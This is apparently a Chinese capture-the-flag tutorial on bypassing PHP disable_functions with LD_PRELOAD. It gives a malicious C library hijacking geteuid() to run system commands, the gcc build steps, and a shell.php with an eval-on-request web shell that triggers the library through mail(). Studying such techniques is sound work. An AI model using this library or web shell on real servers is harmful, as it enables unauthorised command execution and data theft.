LD_PRELOAD绕过disabled_functions限制
思路分析
根据资料可得知有四种绕过 disable_functions 的手法:
- 攻击后端组件,寻找存在命令注入的 web 应用常用的后端组件,如,
ImageMagick
的魔图漏洞、bash
的破壳漏洞等等 - 寻找未禁用的漏网函数,常见的执行命令的函数有
system()
、exec()
、shell_exec()
、passthru()
,偏僻的popen()
、proc_open()
、pcntl_exec()
,逐一尝试,或许有漏网之鱼 - mod_cgi 模式,尝试修改 .htaccess,调整请求访问路由,绕过 php.ini 中的任何限制(让特定扩展名的文件直接和php-cgi通信);
- 利用环境变量
LD_PRELOAD
劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果。
这里我们只详细学习第四种方法。大致步骤如下
- 生成一个我们的恶意动态链接库文件
- 利用
putenv
设置LD_PRELOAD为我们的恶意动态链接库文件的路径 - 配合php的某个函数去触发我们的恶意动态链接库文件
- RCE并获取flag
这里面的某个函数需要在运行的时候能够启动子进程,这样才能重新加载我们所设置的环境变量,从而劫持子进程所调用的库函数。
LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。
putenv()用来改变或增加环境变量的内容. 参数string 的格式为name=value, 如果该环境变量原先存在, 则变量内容会依参数string 改变, 否则此参数内容会成为新的环境变量.
动态链接库
hack.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("cat /flag >> /var/www/html/test.php");
system("tac /flag >> /var/www/html/test.php");
system("/readflag >> /var/www/html/test.php");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
利用gcc编译
gcc -c -fPIC hack.c -o hack
gcc -shared hack -o hack.so
配合php执行动态链接
shell.php
<?php
@eval($_REQUEST['ant']);
putenv("LD_PRELOAD=/tmp/hack.so");
error_log("admin",1);
mail("admin@localhost","","","","");
?>
在执行文件目录建立一个test.php
浏览器访问shell.php,再访问test.php,即可发现flag